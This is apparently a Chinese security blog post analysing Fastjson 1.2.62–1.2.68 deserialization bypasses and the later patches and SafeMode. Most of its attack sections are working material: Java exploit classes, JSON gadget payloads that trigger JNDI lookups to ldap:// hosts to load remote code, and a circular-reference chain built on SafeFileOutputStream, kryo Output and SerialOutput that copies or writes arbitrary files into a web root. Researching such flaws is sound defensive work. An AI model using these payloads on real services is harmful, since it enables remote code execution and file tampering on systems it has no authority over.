Java安全-Fastjson1.2.62-1.2.68版本反序列化漏洞 主要思路的话还是基于黑名单的绕过,然后构造出可行的 EXP 来攻击
1.2.62 反序列化漏洞 前提条件
需要开启AutoType;
Fastjson <= 1.2.62;
JNDI注入利用所受的JDK版本限制;
目标服务端需要存在xbean-reflect包;xbean-reflect 包的版本不限
pom.xml
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 <dependencies > <dependency > <groupId > com.alibaba</groupId > <artifactId > fastjson</artifactId > <version > 1.2.62</version > </dependency > <dependency > <groupId > org.apache.xbean</groupId > <artifactId > xbean-reflect</artifactId > <version > 4.18</version > </dependency > <dependency > <groupId > commons-collections</groupId > <artifactId > commons-collections</artifactId > <version > 3.2.1</version > </dependency > </dependencies >
漏洞原理与 EXP org.apache.xbean.propertyeditor.JndiConverter 类的 toObjectImpl() 函数存在 JNDI 注入漏洞
但是这个 toObjectImpl() 方法并不是 getter/setter 方法,也不是构造函数,是不能直接调用的
在对 JndiConverter 这个类进行反序列化的时候,会自动调用它的构造函数,而它的构造函数里面调用了它的父类。所以反序列化的时候不仅能够调用 JndiConverter 这个类,还会去调用它的父类 AbstractConverter
在父类 AbstractConverter 中,找谁调用了 JndiConverter#toObjectImpl(),找到了 AbstractConverter#setAsText();
1 setAsText()->toObject->toObjectImpl
设置一下payload
1 "{\"@type\":\"org.apache.xbean.propertyeditor.JndiConverter\",\"AsText\":\"ldap://127.0.0.1:8085/LsZvlYSt\"}"
EXP
1 2 3 4 5 6 7 8 9 10 11 12 13 package com.sf.maven.fastjsondemo;import com.alibaba.fastjson.JSON;import com.alibaba.fastjson.parser.ParserConfig;public class SuccessBypassEXP { public static void main (String[] argv) { ParserConfig.getGlobalInstance().setAutoTypeSupport(true ); String payload = "{\"@type\":\"org.apache.xbean.propertyeditor.JndiConverter\",\"AsText\":\"ldap://127.0.0.1:8085/LsZvlYSt\"}" ; JSON.parse(payload); } }
顺利弹出计算器
调试分析
直接在 CheckAutoType() 函数上打上断点开始分析,函数位置:com\alibaba\fastjson\parser\ParserConfig.java
相比于之前版本调试分析时看的 CheckAutoType() 函数,这里新增了一些代码逻辑,这里大致说下,下面代码是判断是否调用 AutoType 相关逻辑之前的代码,说明如注释:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 if (typeName == null ) { return null ; } if (typeName.length() >= 192 || typeName.length() < 3 ) { throw new JSONException ("autoType is not support. " + typeName); } final boolean expectClassFlag; if (expectClass == null ) { expectClassFlag = false ; } else { if (expectClass == Object.class || expectClass == Serializable.class || expectClass == Cloneable.class || expectClass == Closeable.class || expectClass == EventListener.class || expectClass == Iterable.class || expectClass == Collection.class ) { expectClassFlag = false ; } else { expectClassFlag = true ; } } String className = typeName.replace('$' , '.' ); Class<?> clazz = null ; final long BASIC = 0xcbf29ce484222325L ; final long PRIME = 0x100000001b3L ; final long h1 = (BASIC ^ className.charAt(0 )) * PRIME; if (h1 == 0xaf64164c86024f1aL ) { throw new JSONException ("autoType is not support. " + typeName); } if ((h1 ^ className.charAt(className.length() - 1 )) * PRIME == 0x9198507b5af98f0L ) { throw new JSONException ("autoType is not support. " + typeName); } final long h3 = (((((BASIC ^ className.charAt(0 )) * PRIME) ^ className.charAt(1 )) * PRIME) ^ className.charAt(2 )) * PRIME; boolean internalWhite = Arrays.binarySearch(INTERNAL_WHITELIST_HASHCODES, TypeUtils.fnv1a_64(className) ) >= 0 ;
在checkAutoType下一个断点,看到跟之前一样会先进行哈希白名单匹配、然后进行哈希黑名单过滤,
能够成功绕过,之后会进入loadClass加载恶意类
黑名单绕过的Gadget补丁都是在新版本中添加新Gadget黑名单来进行防御的:https://github.com/alibaba/fastjson/compare/1.2.62%E2%80%A61.2.66#diff-f140f6d9ec704eccb9f4068af9d536981a644f7d2a6e06a1c50ab5ee078ef6b4
新版本运行后直接被抛出异常:
1 Exception in thread "main" com.alibaba.fastjson.JSONException: autoType is not support. org.apache.xbe
在哈希黑名单中添加了该类,其中匹配到了该恶意类的Hash值:
1.2.66 反序列化漏洞 前提条件
开启AutoType;
Fastjson <= 1.2.66;
JNDI注入利用所受的JDK版本限制;
org.apache.shiro.jndi.JndiRealmFactory类需要shiro-core包;
br.com.anteros.dbcp.AnterosDBCPConfig 类需要 Anteros-Core和 Anteros-DBCP 包;
com.ibatis.sqlmap.engine.transaction.jta.JtaTransactionConfig类需要ibatis-sqlmap和jta包;
漏洞原理 新Gadget绕过黑名单限制。
1.2.66涉及多条Gadget链,原理都是存在JDNI注入漏洞。
org.apache.shiro.realm.jndi.JndiRealmFactory类PoC:
1 { "@type" : "org.apache.shiro.realm.jndi.JndiRealmFactory" , "jndiNames" : [ "ldap://127.0.0.1:8085/LsZvlYSt" ] , "Realms" : [ "" ] }
br.com.anteros.dbcp.AnterosDBCPConfig类PoC:
1 { "@type" : "br.com.anteros.dbcp.AnterosDBCPConfig" , "metricRegistry" : "ldap://localhost:1389/Exploit" } 或{ "@type" : "br.com.anteros.dbcp.AnterosDBCPConfig" , "healthCheckRegistry" : "ldap://localhost:1389/Exploit" }
com.ibatis.sqlmap.engine.transaction.jta.JtaTransactionConfig类PoC:
1 { "@type" : "com.ibatis.sqlmap.engine.transaction.jta.JtaTransactionConfig" , "properties" : { "@type" : "java.util.Properties" , "UserTra
EXP
1 2 3 4 5 6 7 8 9 10 11 12 13 14 import com.alibaba.fastjson.JSON; import com.alibaba.fastjson.parser.ParserConfig; public class EXP_1266 { public static void main (String[] args) { ParserConfig.getGlobalInstance().setAutoTypeSupport(true ); String poc = "{\"@type\":\"org.apache.shiro.realm.jndi.JndiRealmFactory\", \"jndiNames\":[\"ldap://localhost:1234/ExportObject\"], \"Realms\":[\"\"]}" ; JSON.parse(poc); } }
总之就是寻找有漏洞但是还未列入黑名单的入口类
1.2.67反序列化漏洞(黑名单绕过) 前提
开启AutoType;
Fastjson <= 1.2.67;
JNDI注入利用所受的JDK版本限制;
org.apache.ignite.cache.jta.jndi.CacheJndiTmLookup类需要ignite-core、ignite-jta和jta依赖;
org.apache.shiro.jndi.JndiObjectFactory类需要shiro-core和slf4j-api依赖;
漏洞原理 新Gadget绕过黑名单限制。
org.apache.ignite.cache.jta.jndi.CacheJndiTmLookup类PoC:
1 { "@type" : "org.apache.ignite.cache.jta.jndi.CacheJndiTmLookup" , "jndiNames" : [ "ldap://localhost:1389/Exploit" ] , "tm" : { "$ref" : "$.tm" } }
org.apache.shiro.jndi.JndiObjectFactory类PoC:
1 { "@type" : "org.apache.shiro.jndi.JndiObjectFactory" , "resourceName" : "ldap://localhost:1389/Exploit" , "instance" : { "$ref" : "$.instance" } }
EXP
1 2 3 4 5 6 7 8 9 10 11 12 import com.alibaba.fastjson.JSON; import com.alibaba.fastjson.parser.ParserConfig; import com.sun.xml.internal.ws.api.ha.StickyFeature; public class SuccessBypassEXP { public static void main (String[] args) { ParserConfig.getGlobalInstance().setAutoTypeSupport(true ); String poc = "{\"@type\":\"org.apache.ignite.cache.jta.jndi.CacheJndiTmLookup\"," + " \"jndiNames\":[\"ldap://localhost:1234/ExportObject\"], \"tm\": {\"$ref\":\"$.tm\"}}" ; JSON.parse(poc); } }
1.2.68反序列化漏洞(expectClass绕过AutoType) 前提条件
Fastjson <= 1.2.68;
利用类必须是expectClass类的子类或实现类,并且不在黑名单中;
漏洞原理 本次绕过checkAutoType()函数的关键点在于其第二个参数expectClass,可以通过构造恶意JSON数据、传入某个类作为expectClass参数再传入另一个expectClass类的子类或实现类来实现绕过checkAutoType()函数执行恶意操作。
简单地说,本次绕过checkAutoType()函数的攻击步骤为:
先传入某个类,其加载成功后将作为expectClass参数传入checkAutoType()函数;
查找expectClass类的子类或实现类,如果存在这样一个子类或实现类其构造方法或setter方法中存在危险操作则可以被攻击利用;
漏洞复现 简单地验证利用expectClass绕过的可行性,先假设Fastjson服务端存在如下实现AutoCloseable接口类的恶意类VulAutoCloseable:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 public class VulAutoCloseable implements AutoCloseable { public VulAutoCloseable (String cmd) { try { Runtime.getRuntime().exec(cmd); } catch (Exception e) { e.printStackTrace(); } } @Override public void close () throws Exception { } }
构造PoC如下:
1 { "@type" : "java.lang.AutoCloseable" , "@type" : "org.example.VulAutoCloseable" , "cmd" : "calc" }
无需开启AutoType,直接成功绕过CheckAutoType()的检测从而触发执行:
顺利弹出计算器
调试分析 依旧把断点下载checkAutoType处,开始调试
第一次是传入 AutoCloseable 类进行校验,这里CheckAutoType()函数的 expectClass 参数是为 null 的:
往下,直接从缓存 Mapping 中获取到了 AutoCloseable 类:然后获取到这个 clazz 之后进行了一系列的判断,clazz 是否为 null,以及关于 internalWhite 的判断,internalWhite 就是内部加白的名单,很显然我们这里肯定不是,内部加白的名单一定是非常安全的。
然后后面这个判断里面出现了 expectClass,先判断 clazz 是否不是 expectClass 类的继承类且不是 HashMap 类型,是的话抛出异常,否则直接返回该类。
我们这里没有 expectClass,所以会直接返回 AutoCloseable 类:
接着,返回到 DefaultJSONParser 类中获取到 clazz 后再继续执行,根据 AutoCloseable 类获取到反序列化器为 JavaBeanDeserializer,然后应用该反序列化器进行反序列化操作:
往里走,调用的是 JavaBeanDeserializer 的 deserialze() 方法进行反序列化操作,其中 type 参数就是传入的 AutoCloseable类,如图:
往下的逻辑,就是解析获取 PoC 后面的类的过程。这里看到获取不到对象反序列化器之后,就会进去如图的判断逻辑中,设置 type 参数即 java.lang.AutoCloseable 类为 checkAutoType() 方法的 expectClass 参数来调用 checkAutoType() 函数来获取指定类型,然后在获取指定的反序列化器:
此时,第二次进入 checkAutoType() 函数,typeName 参数是 PoC 中第二个指定的类,expectClass 参数则是 PoC 中第一个指定的类:
往下,由于java.lang.AutoCloseable类并非其中黑名单中的类,因此expectClassFlag被设置为true:
最后走到我们刚刚说的地方,当这个类不在白名单,且autoType开启或者expectClassFlag为true时,即可进入AutoType开启时的检测逻辑
遍历类名后会进入loadClass类,类加载后不会进入缓存
往下,判断是否jsonType、true的话直接添加Mapping缓存并返回类,否则接着判断返回的类是否是ClassLoader、DataSource、RowSet等类的子类,是的话直接抛出异常,这也是过滤大多数JNDI注入Gadget的机制:
我们利用的关键点在这里
1 2 3 4 5 6 if (expectClass != null ) { if (expectClass.isAssignableFrom(clazz)) { TypeUtils.addMapping(typeName, clazz); return clazz; } }
走入这个条件,我们就顺利将恶意类加入到缓存,之后会getFromMapping直接获取这个类
就这样执行了恶意代码
简单总结一下:我们在 PoC 里面定义了两个 @type
第一个 @type 进去什么都没有发生;但是第一个 @type 是作为第二个指定的类里面的 expectClass。所以说白了,loadClass 去作用的类是第一个 @type;如果这个 @type 是可控的恶意类,可以造成命令执行攻击。
并且需要加载的目标类是expectClass类的子类或者实现类时(不在黑名单中)
实际利用 前面漏洞复现只是简单地验证绕过方法的可行性,在实际的攻击利用中,是需要我们去寻找实际可行的利用类的。
主要是寻找关于输入输出流的类来写文件,IntputStream和OutputStream都是实现自AutoCloseable接口的。
寻找 gadget 时的条件是这样的。
需要一个通过 set 方法或构造方法指定文件路径的 OutputStream
需要一个通过 set 方法或构造方法传入字节数据的 OutputStream,参数类型必须是byte[]、ByteBuffer、String、char[]其中的一个,并且可以通过 set 方法或构造方法传入一个 OutputStream,最后可以通过 write 方法将传入的字节码 write 到传入的 OutputStream
需要一个通过 set 方法或构造方法传入一个 OutputStream,并且可以通过调用 toString、hashCode、get、set、构造方法 调用传入的 OutputStream 的 close、write 或 flush 方法
以上三个组合在一起就能构造成一个写文件的利用链,通过扫描了一下 JDK ,找到符合第一个和第三个条件的类。
分别是 FileOutputStream 和 ObjectOutputStream,但这两个类选取的构造器,不符合情况,所以只能找到这两个类的子类,或者功能相同的类。
复制文件(任意文件读取漏洞) 利用类:org.eclipse.core.internal.localstore.SafeFileOutputStream
依赖:
1 2 3 4 5 <dependency > <groupId > org.aspectj</groupId > <artifactId > aspectjtools</artifactId > <version > 1.9.5</version > </dependency >
看下SafeFileOutputStream类的源码,其SafeFileOutputStream(java.lang.String, java.lang.String)构造函数判断了如果targetPath文件不存在且tempPath文件存在,就会把tempPath复制到targetPath中,正是利用其构造函数的这个特点来实现Web场景下的任意文件读取:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 91 92 93 94 95 96 97 98 99 100 101 102 103 104 105 106 107 108 109 110 111 112 113 114 115 public class SafeFileOutputStream extends OutputStream { protected File temp; protected File target; protected OutputStream output; protected boolean failed; protected static final String EXTENSION = ".bak" ; public SafeFileOutputStream (File file) throws IOException { this (file.getAbsolutePath(), (String)null ); } public SafeFileOutputStream (String targetPath, String tempPath) throws IOException { this .failed = false ; this .target = new File (targetPath); this .createTempFile(tempPath); if (!this .target.exists()) { if (!this .temp.exists()) { this .output = new BufferedOutputStream (new FileOutputStream (this .target)); return ; } this .copy(this .temp, this .target); } this .output = new BufferedOutputStream (new FileOutputStream (this .temp)); } public void close () throws IOException { try { this .output.close(); } catch (IOException var2) { this .failed = true ; throw var2; } if (this .failed) { this .temp.delete(); } else { this .commit(); } } protected void commit () throws IOException { if (this .temp.exists()) { this .target.delete(); this .copy(this .temp, this .target); this .temp.delete(); } } protected void copy (File sourceFile, File destinationFile) throws IOException { if (sourceFile.exists()) { if (!sourceFile.renameTo(destinationFile)) { InputStream source = null ; BufferedOutputStream destination = null ; try { source = new BufferedInputStream (new FileInputStream (sourceFile)); destination = new BufferedOutputStream (new FileOutputStream (destinationFile)); this .transferStreams(source, destination); destination.close(); } finally { FileUtil.safeClose(source); FileUtil.safeClose(destination); } } } } protected void createTempFile (String tempPath) { if (tempPath == null ) { tempPath = this .target.getAbsolutePath() + ".bak" ; } this .temp = new File (tempPath); } public void flush () throws IOException { try { this .output.flush(); } catch (IOException var2) { this .failed = true ; throw var2; } } public String getTempFilePath () { return this .temp.getAbsolutePath(); } protected void transferStreams (InputStream source, OutputStream destination) throws IOException { byte [] buffer = new byte [8192 ]; while (true ) { int bytesRead = source.read(buffer); if (bytesRead == -1 ) { return ; } destination.write(buffer, 0 , bytesRead); } } public void write (int b) throws IOException { try { this .output.write(b); } catch (IOException var3) { this .failed = true ; throw var3; } } }
EXP
1 2 3 4 5 6 7 8 9 10 11 package com.sf.maven.fastjsondemo;import com.alibaba.fastjson.JSON;public class SuccessBypassEXP { public static void main (String[] args) { String s = "{\"@type\":\"java.lang.AutoCloseable\",\"@type\":\"org.eclipse.core.internal.localstore.SafeFileOutputStream\",\"tempPath\":\"D://Test.class\",\"targetPath\":\"D://1.txt\"}" ; JSON.parseObject(s); } }
写入文件 写内容类:com.esotericsoftware.kryo.io.Output
依赖:
1 2 3 4 5 <dependency > <groupId > com.esotericsoftware</groupId > <artifactId > kryo</artifactId > <version > 4.0.0</version > </dependency >
Output类主要用来写内容,它提供了setBuffer()和setOutputStream()两个setter方法可以用来写入输入流,其中buffer参数值是文件内容,outputStream参数值就是前面的SafeFileOutputStream类对象,而要触发写文件操作则需要调用其flush()函数:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 public void setOutputStream (OutputStream outputStream) { this .outputStream = outputStream; position = 0 ; total = 0 ; } ... public void setBuffer (byte [] buffer) { setBuffer(buffer, buffer.length); } ... public void flush () throws KryoException { if (outputStream == null ) return ; try { outputStream.write(buffer, 0 , position); outputStream.flush(); } catch (IOException ex) { throw new KryoException (ex); } total += position; position = 0 ; } ...
如果可以写入文件的话,我们这里可以写入一些恶意文件。
接着,就是要看怎么触发Output类flush()函数了,flush()函数只有在close()和require()函数被调用时才会触发,其中require()函数在调用write相关函数时会被触发。这也是链子的思维
其中,找到JDK的ObjectOutputStream类,其内部类BlockDataOutputStream的构造函数中将OutputStream类型参数赋值给out成员变量,而其setBlockDataMode()函数中调用了drain()函数、drain()函数中又调用了out.write()函数,满足前面的需求:
还是直接看代码会更直观一点
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 BlockDataOutputStream(OutputStream out) { this .out = out; dout = new DataOutputStream (this ); } boolean setBlockDataMode (boolean mode) throws IOException { if (blkmode == mode) { return blkmode; } drain(); blkmode = mode; return !blkmode; } ... void drain () throws IOException { if (pos == 0 ) { return ; } if (blkmode) { writeBlockHeader(pos); } out.write(buf, 0 , pos); pos = 0 ; }
到drain()函数里触发了write方法->require()->flash()
对于setBlockDataMode()函数的调用,在ObjectOutputStream类的有参构造函数中就存在:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 public ObjectOutputStream (OutputStream out) throws IOException { verifySubclass(); bout = new BlockDataOutputStream (out); handles = new HandleTable (10 , (float ) 3.00 ); subs = new ReplaceTable (10 , (float ) 3.00 ); enableOverride = false ; writeStreamHeader(); bout.setBlockDataMode(true ); if (extendedDebugInfo) { debugInfoStack = new DebugTraceInfoStack (); } else { debugInfoStack = null ; } }
但是Fastjson优先获取ObjectOutputStream类的无参构造方法,只能找它的继承类来触发了
我们找到一个只有有参构造方法的类:com.sleepycat.bind.serial.SerialOutput
依赖:
1 2 3 4 5 <dependency > <groupId > com.sleepycat</groupId > <artifactId > je</artifactId > <version > 5.0.73</version > </dependency >
看到SerialOutput类的构造函数中是调用了父类ObjectOutputStream的有参构造函数,这就满足了前面的条件
小结一下
这条链子还是有点复杂的,如果从正向看的话
1 2 3 4 5 6 7 SerialOutput.SerialOutput(OutputStream out, ClassCatalog classCatalog)-> ObjectOutputStream.ObjectOutputStream(OutputStream out)-> BlockDataOutputStreamBlockDataOutputStream(out)-> BlockDataOutputStream.setBlockDataMode(boolean mode)-> BlockDataOutputStream. drain()-> xxxxx.write()->xxxxx.require()-> Output.flush()
POC如下,用到了Fastjson循环引用的技巧来调用
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 { "stream" : { "@type" : "java.lang.AutoCloseable" , "@type" : "org.eclipse.core.internal.localstore.SafeFileOutputStream" , "targetPath" : "D:/wamp64/www/hacked.txt" , "tempPath" : "D:/wamp64/www/test.txt" }, "writer" : { "@type" : "java.lang.AutoCloseable" , "@type" : "com.esotericsoftware.kryo.io.Output" , "buffer" : "cHduZWQ=" , "outputStream" : { "$ref" : "$.stream" }, "position" : 5 }, "close" : { "@type" : "java.lang.AutoCloseable" , "@type" : "com.sleepycat.bind.serial.SerialOutput" , "out" : { "$ref" : "$.writer" } } }
补丁分析 看GitHub官方的diff,主要在ParserConfig.java中:https://github.com/alibaba/fastjson/compare/1.2.68%E2%80%A61.2.69#diff-f140f6d9ec704eccb9f4068af9d536981a644f7d2a6e06a1c50ab5ee078ef6b4
对比看到expectClass的判断逻辑中,对类名进行了Hash处理再比较哈希黑名单,并且添加了三个类:
网上已经有了利用彩虹表碰撞的方式得到的新添加的三个类分别为:
版本
十进制Hash值
十六进制Hash值
类名
1.2.69
5183404141909004468L
0x47ef269aadc650b4L
java.lang.Runnable
1.2.69
2980334044947851925L
0x295c4605fd1eaa95L
java.lang.Readable
1.2.69
-1368967840069965882L
0xed007300a7b227c6L
java.lang.AutoCloseable
这就简单粗暴地防住了这几个类导致的绕过问题了
SafeMode 官方参考:https://github.com/alibaba/fastjson/wiki/fastjson_safemode
在1.2.68之后的版本,在1.2.68版本中,fastjson增加了safeMode的支持。safeMode打开后,完全禁用autoType。所有的安全修复版本sec10也支持SafeMode配置。
代码中设置开启SafeMode如下:
1 ParserConfig.getGlobalInstance().setSafeMode(true );
开启之后,就完全禁用AutoType即@type了,这样就能防御住Fastjson反序列化漏洞了。
具体的处理逻辑,是放在checkAutoType()函数中的前面,获取是否设置了SafeMode,如果是则直接抛出异常终止运行:
其他一些绕过黑名单的Gadget 注意,均需要开启AutoType,且会被JNDI注入利用所受的JDK版本限制。
1.2.59 com.zaxxer.hikari.HikariConfig类PoC:
1 { "@type" : "com.zaxxer.hikari.HikariConfig" , "metricRegistry" : "ldap://localhost:1389/Exploit" } 或{ "@type" : "com.zaxxer.hikari.HikariConfig" , "healthCheckRegistry" : "ldap://localhost:1389/Exploit" }
1.2.61 org.apache.commons.proxy.provider.remoting.SessionBeanProvider类PoC:
1 { "@type" : "org.apache.commons.proxy.provider.remoting.SessionBeanProvider" , "jndiName" : "ldap://localhost:1389/Exploit" , "Object" : "a" }
1.2.62 org.apache.cocoon.components.slide.impl.JMSContentInterceptor类PoC:
1 { "@type" : "org.apache.cocoon.components.slide.impl.JMSContentInterceptor" , "parameters" : { "@type" : "java.util.Hashtable" , "java.naming.factory.initial" : "com.sun.jndi.rmi.registry.RegistryContextFactory" , "topic-factory" : "ldap://localhost:1389/Exploit" } , "namespace" : "" }
1.2.68 org.apache.hadoop.shaded.com.zaxxer.hikari.HikariConfig类PoC:
1 { "@type" : "org.apache.hadoop.shaded.com.zaxxer.hikari.HikariConfig" , "metricRegistry" : "ldap://localhost:1389/Exploit" } 或{ "@type" : "org.apache.hadoop.shaded.com.zaxxer.hikari.HikariConfig" , "healthCheckRegistry" : "ldap://localhost:1389/Exploit" }
com.caucho.config.types.ResourceRef类PoC:
1 { "@type" : "com.caucho.config.types.ResourceRef" , "lookupName" : "ldap://localhost:1389/Exploit" , "value" : { "$ref" : "$.value" } }
未知版本 org.apache.aries.transaction.jms.RecoverablePooledConnectionFactory类PoC:
1 { "@type" : "org.apache.aries.transaction.jms.RecoverablePooledConnectionFactory" , "tmJndiName" : "ldap://localhost:1389/Exploit" , "tmFromJndi" : true , "transactionManager" : { "$ref" : "$.transactionManager" } }
org.apache.aries.transaction.jms.internal.XaPooledConnectionFactory类PoC:
1 { "@type" : "org.apache.aries.transaction.jms.internal.XaPooledConnectionFactory" , "tmJndiName" : "ldap://localhost:1389/Exploit" , "tmFromJndi" : true , "transactionManager" : { "$ref" : "$.transactionManager" } }
参考资料 Fastjson反序列化漏洞(4)—1.2.68版本 – JohnFrod’s Blog